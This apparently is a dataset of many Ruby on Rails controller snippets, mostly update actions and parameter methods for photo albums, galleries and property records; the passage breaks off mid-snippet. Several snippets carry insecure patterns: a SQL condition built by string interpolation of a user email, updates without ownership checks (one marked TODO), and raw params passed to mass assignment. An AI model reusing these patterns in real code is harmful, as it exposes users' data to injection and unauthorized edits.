[ "def update\n @photo = Photo.find(params[:id])\n @photo.user_id=session[:user_id]\n @photo.album_id= params[:photo][:album_id]\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.with_attached_pictures.find(params[:id])\n @photo.user_id = current_user.id\n #@photo.update\n # raise @photo.inspect\n respond_to do |format|\n if @photo.update(photo_params)\n # raise @photo.inspect\n format.html { redirect_to album_photos_path, notice: \"Photo was successfully updated.\" }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @photo.update(photo_params)\n if @photo.rate!=0\n @photo.sum_of_assessments+=@photo.rate\n @photo.num_of_assessments+=1\n @photo.average_rating=@photo.sum_of_assessments.to_f/@photo.num_of_assessments.to_f\n TableOfAssesment.create(owner_id: @current_owner.id, rate: @photo.rate, photo_id:@photo.id)\n @photo.rate=0\n @photo.save\n end\n if @photo.position!=0\n @album=@photo.album\n if Photo.where(id: @album.cover).load.map{|x| x}.size>0\n p1=Photo.where(id: @album.cover).load.map{|x| x}[0]\n p1.position=0\n p1.save\n end\n @album.cover=@photo.id\n @album.save!\n end\n format.html { redirect_to @photo, notice: 'Фотография успешно изменена.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find( params[:id])\n if @photo.update_attributes(params[:photo])\n flash[:notice] = \"Photo updated!\"\n if params[:bucket_id]\n redirect_to bucket_album_photo_path( params[:bucket_id], params[:album_id], @photo )\n elsif params[:album_id]\n redirect_to album_photo_path( params[:album_id], @photo )\n else\n redirect_to @photo\n end\n else\n render :action => :edit\n end\n end", "def update\n \n @album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_album_photo\n @album_photo = AlbumPhoto.find(params[:id])\n @album = Admin::Album.find(params[:album_id])\n end", "def update\n @albums = get_current_albums\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to photos_url, notice: 'Фотография была успешно обновлена.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_photo(album_id, photo_id, file, filename)\n \n end", "def album_photo_params\n params.require(:album_photo).permit(:album_id, photo: [:title, :image, :age_policy_id, :author])\n end", "def set_private_album_image\n @private_album_image = PrivateAlbumImage.find(params[:id])\n end", "def update\n @photoalbum = Photoalbum.find(params[:id])\n\n respond_to do |format|\n if @photoalbum.update_attributes(params[:photoalbum], :as => (current_user.admin? ? :admin : :default))\n format.html { redirect_to @photoalbum, notice: 'Photoalbum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photoalbum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @image = @album.images.find(params[:id])\n @image.update(image_params)\n redirect_to album_path(@image.album.id)\n end", "def update\n \n @album = @user.albums.find(params[:id])\n respond_to do |format|\n format.js { render 'new' }\n format.html{\n if @album.update_attributes params[:album]\n @album.avatar.reprocess!\n flash[:notice] = 'User was successfully updated.'\n if params[:album][:avatar].blank?\n redirect_to @album\n else\n \n render :action => 'cropping'\n end\n else\n render :action => \"edit\"\n end}\n end\n end", "def album_update_photo!(photo_data, photo_file)\n\n if album \n album.add_or_update_photo(photo_data, photo_file)\n end\n \n end", "def update\n if current_user\n if current_user.role == \"admin\"\n \n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to @album, flash: {success: \"Gratulacje! Zaktualizowano album '#{@album.tytul}\"}}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n \n else\n \tredirect_to root_url, flash: {error: t('errors.messages.permissions')}\n end\n else\n redirect_to :login, flash: {notice: t('errors.messages.login_to_see')}\n end\n end", "def update\r\n @album = Album.find(params[:id])\r\n if params[:album][:coverpage]\r\n tem_coverPage = upload_file(params[:album][:coverpage],\"app/assets/images/album_images\")\r\n params[:album][:coverpage] = \"album_images/\"+tem_coverPage\r\n end\r\n\r\n respond_to do |format|\r\n\r\n if @album.update_attributes(params[:album])\r\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @album.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def set_album_photo\n @album_photo = AlbumPhoto.find(params[:id])\n end", "def update\n @user = current_user\n @customer = @user.customers.find(params[:customer_id])\n @album = @customer.albums.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to user_customer_album_photos_url(@user, @customer, @album), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n # TODO: check if photo belongs to current user!\n if @photo.update_attributes(photo_params)\n render :show\n else\n render json: @photo.errors.full_messages, status:422\n end\n end", "def update\n respond_to do |format|\n if @private_album_image.update(private_album_image_params)\n format.html { redirect_to @private_album_image, notice: 'Private album image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @private_album_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @photo.update(photo_params)\n redirect_to alum_path(@photo.alum)\n\n flash[:success] = \"Photo was successfully updated.\"\n else\n render :edit\n end\n end", "def update\n @photo = Photo.find(params[:id])\n authorize! :update, @photo\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo.collection, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_album_photo\n @album_photo = AlbumPhoto.find(params[:id])\n end", "def update\n @photo = Photo.find(params[:id])\n respond_to do |format|\n if !user_is_owner?(@photo)\n format.html { redirect_to @photo.contest, alert: 'Vous ne pouvez pas modifier cette photo.' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n elsif @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo.contest, notice: 'Votre photo a été mise à jour.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n @gallery = Gallery.find params[:gallery_id]\n @photo = @gallery.photos.find params[:id]\n end", "def update\n @photo = @surrounding.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to '/surroundings/1/', notice: 'Picture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if !check_session #Validate if the user session is active\n return #If not force return to trigger the redirect of the check_session function\n end\n\t response = PhotoAlbum.find(params[:id],session[:user]) #Retrieve the original photo album object to update\n if response[0] #Validate if the response was successfull \n @photo_album = response[1] #Set the photo_album object to be updated\n elsif validate_authorized_access(response[1]) #If the response was unsucessful, validate if it was caused by unauthorized access to the app or expired session\n flash[:danger] = t(:photo_album_get_error_flash) #Set the error message for the user\n redirect_to photo_albums_path #Redirect the user to the photo albums list page\n else \n return #If not force return to trigger the redirect of the check_session function\n end\n response2 = @photo_album.update_attributes(photo_album_params,session[:user]) #Update the photo album object\n if response2[0] #Validate if the response was successfull\n flash[:success] = t(:photo_album_modification_success_flash, photo_album: @photo_album.name) #Set the success message for the user\n redirect_to photo_albums_path #Redirect the user to the photo albums list page\n elsif validate_authorized_access(response2[1])#If the response was unsucessful, validate if it was caused by unauthorized access to the app or expired session\n if(response2[1].kind_of?(Array))#If the response was unsucessful, validate if it was caused by an invalid Photo Album object sent to the model. If so the server would have returned an array with the errors\n flash[:warning] = Util.format_validation_errors(response2[1]) #Set the invalid object message for the user\n end\n flash[:danger] = t(:photo_album_modification_error_flash) #Set the error message for the user\n redirect_to edit_photo_album_path #Redirect the user to the Photo Album edition page\n else \n return #If not force return to trigger the redirect of the check_session function\n end\n rescue #Error Handilng code\n general_error_redirection('Controller: '+params[:controller]+'.'+action_name,$!)\n end", "def set_as_cover\n if imageable_type == \"Album\"\n self.imageable.photos.where(is_cover_photo: true).update_all(is_cover_photo: false)\n self.update(is_cover_photo: true)\n end\n end", "def update\n @gallery = Gallery.find(params[:id])\n @parent_object = @gallery.get_parent_object\n set_session_parent_pictures_root_path(@gallery.get_parent_object)\n @rights = {'Moderators' => 'moderators', 'Members' => 'members', 'Anybody' => 'all'}\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n\n flash[:notice] = I18n.t('galleries.controller.Gallery_successfully_updated')\n format.html { redirect_to(url_for_even_polymorphic(@gallery)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @photo = current_user.photos.find_by_id(params[:id])\n if @photo.nil?\n render json: {error: 'foto no encontrada'}, status: :not_found\n elsif @photo.update(photo_params)\n render json: @photo\n else\n render json: @photo.errors, status: :unprocessable_entity\n end\n end", "def update\n @album = current_user.albums.find(params[:cover][:album_id])\n @cover = @album.covers.first\n if @cover.update_attributes(params[:cover])\n redirect_to \"/albums/\" + params[:cover][:album_id], :notice => \"Successfully changed cover.\" \n else\n @album = current_user.albums.find(params[:cover][:album_id])\n render :action => 'edit'\n end\n end", "def photo_params\n params.require(:photo).permit(:name, :album, :mode, :folder_id, :image)\n end", "def update\n @picture = @album.pictures.find(params[:id]) #JRD111115\n\n respond_to do |format|\n if @album.pictures.find(params[:id]).update_attributes(picture_params)\n format.html { redirect_to album_pictures_url(@album), notice: 'Picture was successfully updated.' }\n format.json { render :show, status: :ok, location: @album.picture }\n else\n format.html { render :edit }\n format.json { render json: @album.picture.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:user] ||= {}\n params[:profile] ||= {}\n @parent = current_user\n foto_flag = true\n \n# puts \"#{params[:avatar]}===================\"\n \n# puts \"#{params[:avatar][:uploaded_data].content_type}==================\"\n \n# unless params[:avatar][:uploaded_data].nil? \n# type = params[:avatar][:uploaded_data].content_type.to_s\n# else\n# type = 'image/png'\n# end\n# \n# \n# if type == 'image/png' or type == 'image/jpeg' or type == 'image/gif'\n \n# puts \"#{params[:avatar][:uploaded_data].class.to_s}=====================\" \n \n \n if params[:avatar]\n unless params[:avatar][:uploaded_data].class.to_s == 'String'\n if @parent.photo\n type = params[:avatar][:uploaded_data].content_type.to_s\n if type == 'image/png' or type == 'image/jpeg' or type == 'image/gif'\n @parent.photo.update_attributes(:uploaded_data => params[:avatar][:uploaded_data])\n foto_flag = true\n else\n foto_flag = false\n end\n else\n type = params[:avatar][:uploaded_data].content_type.to_s\n if type == 'image/png' or type == 'image/jpeg' or type == 'image/gif'\n @parent.photo = Photo.create(:uploaded_data => params[:avatar][:uploaded_data])\n foto_flag = true\n else\n foto_flag = false\n end\n end\n end\n end\n \n \n if foto_flag == true \n if @parent.profile.nil?\n @profile = Profile.new(params[:profile])\n else\n @profile = @parent.profile\n end\n if params[:profile_setup]\n @parent.aasm_state = \"welcome\"\n end \n \n @profile.save\n @parent.profile = @profile\n \n if params[:user][:password]\n if params[:user][:password].nil? || params[:user][:password].blank? || params[:user][:password_confirmation].nil? || params[:user][:password_confirmation].blank? \n flash[:error] = \"Please enter the same password in both fields.\"\n redirect_to :back\n return\n elsif params[:user][:password] != params[:user][:password_confirmation]\n flash[:error] = \"Passwords do not match confirmation.\"\n redirect_to :back\n return\n end\n end\n \n if @parent.update_attributes(params[:user]) && @profile.update_attributes(params[:profile])\n \n if params[\"login_update.x\"]\n flash[:notice] = 'Your password has been changed.'\n redirect_to :back\n elsif params[\"update_avatar\"]\n flash[:notice] = 'Your photo has been updated.'\n redirect_to :back\n elsif params[:update_profile]\n flash[:notice] = 'Profile updated.'\n redirect_to :back\n else\n redirect_to(your_children_parent_path(current_user))\n end\n else\n flash[:error] = \"There was a problem saving your changes.\"\n redirect_to :back\n end\n \n else\n flash[:error] = 'You can only upload images (GIF, JPEG, or PNG)'\n redirect_to :back\n end\n end", "def update\n @picture = @album.pictures.find(params[:id])\n \n if @picture.update_attributes(params[:picture])\n flash[:notice] = 'Picture was successfully updated.'\n redirect_to(album_pictures_path(@album))\n else\n render :action => \"edit\" \n end\n end", "def update\n authorize @album\n if @album.update(album_params)\n redirect_to @album, notice: 'Album was successfully updated.'\n else\n render :edit\n end\n end", "def update\n authorize! :update, @album\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to edit_admin_album_path(@album.id), notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n query = \"created_by = \\\"#{current_user.email}\\\"\"\n @photo = Photo.where(query).with_attached_images.find(params[:id])\n\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Updated successfully.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @photo.user == current_user\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n @photo = @allbum.photos.find(params[:id])\n#\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to edit_allbum_photos_path(@allbum,@photo), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @gallery = Gallery.find(params[:gallery_id])\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to gallery_path(@photo.gallery), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def approve_photo\n if @memorial\n if @memorial.unlocked\n @photo = Photo.find(params[:photo_id])\n if @photo[:memorial_id] == @memorial[:uuid]\n if @photo.update(photo_params)\n render json: @photo\n else\n render json: @photo.error, status: :unprocessable_entity\n end\n else\n render json: {error: 'This photo does not belong with the memorial'}, status: :unprocessable_entity\n end\n else\n render json: {error: \"Unlock this Memorial to add photos\"}, status: :unprocessable_entity\n end\n else\n render json: {error: 'This memorial does not belong to you'}, status: :unprocessable_entity\n end\n end", "def photo_params\n params.require(:photo).permit(:album_id, :title, :creation_date, :description, :image, :position, :rate)\n end", "def create\n @album = Album.find(params[:album_id])\n #@photo = @album.photos.build(params[:photo])\n @photo = @album.photos.create(params[:photo])\n @album.cover_id ||= @photo.id\n @album.add_participator(current_user)\n @photo.exif_read\n\n\n respond_to do |format|\n if @photo.save && @album.save\n format.html { redirect_to @album, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n format.js \n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update \n @photo = Photo.find(params[:id])\n @photo.accepted = !@photo.accepted \n respond_to do |format|\n if @photo.save\n format.html { redirect_to admin_photos_url, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to admin_photos_url , alert: @photo.errors.full_messages}\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n \n respond_to do |format|\n if @album.update_attributes(params[:album])\n @album.images.clear\n @album.images << Image.find([params[:images]].flatten)\n @album.save!\n format.html { redirect_to(albums_path, :notice => 'Album was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_photo\n @photo = Photo.find_by_secret_id(params[:secret_id])\n end", "def update\n respond_to do |format|\n if album_params.has_key?(:cover_original_w)\n #params[:album][:cover_box_w] = 1000\n if album_params[:cover_original_w].to_f > 1000\n scale_factor = album_params[:cover_original_w].to_f / 1000\n album_params[:cover_crop_x] = album_params[:cover_crop_x].to_f * scale_factor\n album_params[:cover_crop_y] = album_params[:cover_crop_y].to_f * scale_factor\n album_params[:cover_crop_w] = album_params[:cover_crop_w].to_f * scale_factor\n album_params[:cover_crop_h] = album_params[:cover_crop_h].to_f * scale_factor\n end\n end\n\n if @album.update_attributes(album_params)\n format.html { \n if album_params.has_key?(:cover)\n render 'crop' \n else \n redirect_to @album, notice: 'Portfolio was successfully updated.' \n end \n }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def photo_params\n #params.fetch(:photo, {:image})\n params.require(:photo).permit(:image,:release_form,:role_photo, :user_id, :title, :price, :description, :keywords, :user_id)\n end", "def update\n @book.update_book_cover_picture update_image_params[\"photo\"] unless update_image_params.nil?\n if @book.errors.empty? && @book.update_attributes(update_book_params)\n redirect_to user_books_path(@user)\n else\n render :edit\n end\n end", "def private_album_image_params\n params.require(:private_album_image).permit(:ImageID, :AlbumID)\n end", "def update\n respond_to do |format|\n if @album_photo.update(album_photo_params)\n format.html { redirect_to @album_photo, notice: 'Album photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @album_photo }\n else\n format.html { render :edit }\n format.json { render json: @album_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def photo_params\n params.require(:photo).permit(:priority, :picture, :album_id, :width)\n end", "def update\n photo_params = params[:photo].clone\n if photo_params[:retakeable]\n photo_params[:retakeable] = %(yes true 1).include?(photo_params[:retakeable].to_s.downcase)\n photo_params[:retakeable] = nil if params[:photo][:retakeable] == 'unknown'\n end\n if photo_params[:accessibility]\n photo_params[:accessibility] = nil if params[:photo][:accessibility] == 'unknown'\n end\n respond_to do |format|\n if @photo.update_attributes(photo_params)\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def photo_params\n params.require(:photo).permit(:title, :photo, :album_id)\n end", "def update\n if @photo.belongs_to_user(@pet, @user)\n if @photo.update(photo_params)\n redirect_to @photo, notice: 'Photo was successfully updated.' and return\n else\n render :edit and return\n end\n else\n puts \"***************************\"\n puts \"cannot update photo of other users pets\"\n puts \"***************************\"\n redirect_to @pet, notice: \"cannot update photo of other users pets\"\n end\n end", "def update\n # respond_to do |format|\n # if @property.update(property_params)\n # format.html { redirect_to @property, notice: 'Property was successfully updated.' }\n # format.json { render :show, status: :ok, location: @property }\n # else\n # format.html { render :edit }\n # format.json { render json: @property.errors, status: :unprocessable_entity }\n # end\n # end\n property = Property.find params[:id]\n # raise\n if params[\"property\"][\"photo\"].nil?\n property.update property_params\n else\n cloudinary = Cloudinary::Uploader.upload( params[ \"property\" ][ \"photo\" ] )\n # link = cloudinary[\"url\"]\n # raise\n # property.update :photo => link\n # property.update :photo => cloudinary[\"url\"] # JOSH FIX\n property.photo = cloudinary[\"url\"] #John Original Code\n\n\n end\n # raise\n property.update property_params #John Original Code\n redirect_to property\n\n end", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_back fallback_location: @photo.album, notice: 'Photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @property = Property.find(params[:id])\n\n if params[:type_is] == \"photo_gallery\"\n #Cover Image Save\n if params[\"property\"][\"prop_cover_img\"]\n @property_cover_img = @property.property_cover_image.present? ? @property.property_cover_image : @property.build_property_cover_image\n @property_cover_img.upload_image(params[\"property\"][\"prop_cover_img\"])\n end\n\n #Other images\n if params[\"property\"][\"prop_imgs\"]\n params[\"property\"][\"prop_imgs\"].each do |img|\n @property.property_images.new.upload_image(img) if img\n end\n end\n\n respond_to do |format|\n # flash[:success] = \"New Images Successfully Uploaded.</br><a href='#{properties_path(active_id: @property.id)}'>Show in List</a>\"\n format.html { redirect_to edit_property_path(@property.key, type_is: params[:type_is]) }\n format.json { render action: 'show', status: :created, location: @property }\n end\n else\n prior_property_name = @property.title\n @property.assign_attributes(property_params)\n if params[:use_current_rent] == false\n @property.lease_base_rent = @property.current_rent\n end\n\n if !(@property.owner_person_is.nil? || @property.owner_person_is==0)\n if @property.owner_person_is == 1 && !@property.owner_entity_id_indv.nil?\n @property.owner_entity_id = @property.owner_entity_id_indv\n end\n else\n @property.owner_entity_id = @property.owner_entity_id_indv = 0\n end\n\n if @property.rent_table_version.nil?\n @property.rent_table_version = 1\n else\n @property.rent_table_version = @property.rent_table_version + 1\n end\n\n respond_to do |format|\n if @property.save\n\n # finally remove the old upload\n # Cloudinary::Uploader.destroy(public_id) unless public_id.blank?\n \n if @property.can_create_rent_table?\n rent_table_version = @property.rent_table_version\n\n base_rent = @property.lease_base_rent\n duration = @property.lease_duration_in_years\n extension_percentage = @property.lease_rent_increase_percentage || 0\n base_percentage = @property.base_rent_increase_percentage || 0\n slab = @property.lease_rent_slab_in_years || 1\n\n rent = base_rent\n @property.rent_tables.create(version: rent_table_version, rent: base_rent, description: 'Base Annual Rent')\n @property.rent_tables.create(version: rent_table_version, rent: base_rent / 12.00, description: 'Base Monthly Rent (approx.)')\n @property.rent_tables.create(version: rent_table_version, rent: base_rent/ 365.00, description: 'Base Daily Rent (approx.)')\n prev_rent = rent\n rent_start = @property.rent_commencement_date || Time.now\n rent_start = Time.now if @property.rent_commencement_date_details == 'Date not certain'\n start_year = rent_start.year\n end_year = 0\n\n count = 0\n\n if @property.lease_is_pro_rated && @property.rent_commencement_date_details != 'Date not certain'\n d = rent_start\n\n # 0 fill in the pro rated fields for the property and save\n @property.pro_rated_month = d.month\n @property.pro_rated_month_name = Date::MONTHNAMES[d.month]\n @property.pro_rated_day = d.day\n @property.pro_rated_year = d.year\n @property.pro_rated_day_date = d.to_date\n @property.pro_rated_day_rent = (base_rent / 365.00)\n @property.pro_rated_month_rent = (base_rent / 12.00) - ((d.day - 1) * @property.pro_rated_day_rent)\n @property.save\n\n @property.rent_tables.create(version: rent_table_version, rent: @property.pro_rated_month_rent,\n description: \"Pro-rated Rent for :#{Date::MONTHNAMES[d.month]} #{d.year}\")\n\n # 1 - calculate the pro-rated rent for year 1\n rent_first_year = rent * (((Date.parse(\"31/12/#{d.year}\") - d.to_date).to_i) * 1.00/(d.year % 4 == 0 ? 366.00 : 365.00))\n # 2 - add the rent table entry\n @property.rent_tables.create(version: rent_table_version, start_year: d.year, end_year: d.year, rent: rent_first_year)\n # 3 - decrease the duration by 1 and update rent\n duration = duration - 1\n start_year = d.year + 1\n count = slab - 1\n slab = slab - 1\n end\n\n\n while start_year <= rent_start.year + duration - 1\n if count == 0\n slab = @property.lease_rent_slab_in_years || 1\n else\n count = 0\n end\n end_year = start_year + slab - 1\n\n if end_year >= rent_start.year + duration - 1\n end_year = rent_start.year + duration - 1\n end\n\n prev_rent = rent\n @property.rent_tables.create(version: rent_table_version, start_year: start_year, end_year: end_year, rent: rent)\n\n start_year = end_year + 1\n if @property.rent_increase_in_base_term_status\n rent = rent + rent * base_percentage / 100\n end\n end\n\n if @property.number_of_option_period && @property.length_of_option_period &&\n @property.number_of_option_period > 0 && @property.length_of_option_period > 0\n duration = @property.number_of_option_period * @property.length_of_option_period\n start_year = end_year + 1\n rent_start = Date.parse(\"01/01/#{start_year}\")\n rent = prev_rent\n slab = @property.length_of_option_period\n count = 1\n while start_year <= rent_start.year + duration - 1\n end_year = start_year + slab - 1\n\n if end_year >= rent_start.year + duration - 1\n end_year = rent_start.year + duration - 1\n end\n\n prev_rent = rent\n @property.rent_tables.create(version: rent_table_version,\n start_year: start_year, end_year: end_year, rent: rent,\n is_option: true, option_slab: count)\n\n start_year = end_year + 1\n rent = rent + rent * extension_percentage / 100\n count = count + 1\n end\n end\n\n end\n\n flash[:success] = \"Congratulations, you have just made a change in the record for #{prior_property_name}\"\n\n if params[:lease_sub].blank?\n format.html { redirect_to edit_property_path(@property.key, type_is: params[:type_is]) }\n else\n format.html { redirect_to edit_property_path(@property.key, type_is: params[:type_is], lease_sub: params[:lease_sub]) }\n end\n format.js { render json: @property.to_json, status: :ok }\n format.json { render action: 'show', status: :created, location: @property }\n else\n format.html { render action: 'edit' }\n format.json { render json: @property.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n flash[:notice] = 'Photo was successfully updated.'\n format.html { redirect_to user_album_photos_url(@user, @album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_album\n @album = Album.find(params[:id])\n \tauthorize [:admin, @album]\n end", "def update\r\n \r\n unless request.xhr? || params[:c] == \"true\"\r\n o_name = @album.name\r\n @album.name = params[:album_name]\r\n @album.description = params[:album_description]\r\n end\r\n \r\n # validate the cover photo\r\n cover_photo_changed = false\r\n old_cover_photo_id = @album.cover_photo_id\r\n @album.cover_photo_id = params[:album_cover_photo_id]\r\n if @album.cover_photo_id && @album.cover_photo_id != old_cover_photo_id\r\n photo = @album.cover_photo\r\n if photo && photo.album_id == @album.id\r\n @cover_photo = photo\r\n cover_photo_changed = true\r\n else\r\n @album.cover_photo_id = old_cover_photo_id\r\n end\r\n end\r\n \r\n if @album.save\r\n @album.set_cover_photo_cache(@cover_photo) if cover_photo_changed\r\n flash.now[:message] = \"已成功保存\"\r\n else\r\n flash.now[:error_msg] = \"操作失败, 再试一次吧\"\r\n @old_name = o_name\r\n end\r\n \r\n render(:action => \"edit\")\r\n end", "def update\n @photo = LandPhoto.find(params[:id])\n if @photo.update_attributes(params[:land_photo])\n redirect_to(bbs_cpanel_photo_path(@photo), :notice => 'LandPhoto was successfully updated.')\n else\n render :action => \"edit\"\n end\n end", "def album_photo_params\n params.require(:album_photo).permit(:album_id,:image)\n end", "def photo_params\n params.require(:photo).permit(:title, :description, :content, :playlist_id).merge(user_id: @current_user.id)\n end", "def set_private_album\n @private_album = PrivateAlbum.find(params[:id])\n end", "def load_photo photo_id, info_level = \"Full\"\n\t\t\t@response = api_request 'LoadPhoto', [photo_id, info_level]\n\t\t\traise ZenfolioAPI::ZenfolioAPISessionError, @response['error']['message'] if @response['result'].nil? && @response['error'].length > 0\n\n\t\t\tvalue = @response['result']\n\n\t\t\taccess_descriptor = ZenfolioAPI::Model::AccessDescriptor.new(:realm_id => value['AccessDescriptor']['RealmId'], \n\t\t\t\t:access_type => value['AccessDescriptor']['AccessType'], :is_derived => value['AccessDescriptor']['IsDerived'], \n\t\t\t\t:access_mask => value['AccessDescriptor']['AccessMask'], :password_hint => value['AccessDescriptor']['PasswordHint'], \n\t\t\t\t:src_password_hint => value['AccessDescriptor']['SrcPasswordHint'])\n\n\t\t\t@photo = ZenfolioAPI::Model::Image.new(:id => value['Id'], :width => value['Width'], :height => value['Height'], :sequence => value['Sequence'], \n\t\t\t\t:access_descriptor => access_descriptor, :owner => value['Owner'], :title => value['Title'], :mime_type => value['MimeType'], \n\t\t\t\t:size => value['Size'], :gallery => value['Gallery'], :original_url => value['OriginalUrl'], :url_core => value['UrlCore'], \n\t\t\t\t:url_host => value['UrlHost'], :url_token => value['UrlToken'], :page_url => value['PageUrl'], :mailbox_id => value['MailboxId'], \n\t\t\t\t:text_cn => value['TextCn'], :flags => value['Flags'], :is_video => value['IsVideo'], :duration => value['Duration'], :caption => value['Caption'], \n\t\t\t\t:file_name => value['FileName'], :uploaded_on => value['UploadedOn']['Value'], :taken_on => value['TakenOn']['Value'], :keywords => value['keywords'], \n\t\t\t\t:categories => value['Categories'], :copyright => value['Copyright'], :rotation => value['Rotation'], :exif_tags => value['ExifTags'], :short_exif => value['ShortExif'])\n\n\t\t\t@photo\n\t\tend", "def photo_params\n params.require(:photo).permit(:gallery_id, :image)\n end", "def set_album\n @image = Album.find(params[:album_id])\n end", "def update\n @photo = Photo.find(params[:id])\n if @photo.user_id != @current_user.id\n render_404\n end\n if @photo.update_attributes(params[:photo])\n redirect_to(@photo, :notice => 'Photo was successfully updated.')\n else\n render :action => \"edit\"\n end\n end", "def update\n photo = Photo.find(params[:id])\n\n needRecreate = false\n\n if params[:crop_x]\n if photo.crop_x != params[:crop_x] or photo.crop_y != params[:crop_y] or photo.crop_h != params[:crop_h] or photo.crop_w != params[:crop_w]\n needRecreate = true\n end\n end\n\n created = photo.update_attributes({ :caption => params[:caption], :crop_h => params[:crop_h], :crop_y => params[:crop_y], :crop_x => params[:crop_x], :crop_w => params[:crop_w], :position => params[:position], :useAsArticlePhoto => params[:useAsArticlePhoto], :useAsFrontpagePhoto => params[:useAsFrontpagePhoto], :widescreenCaption 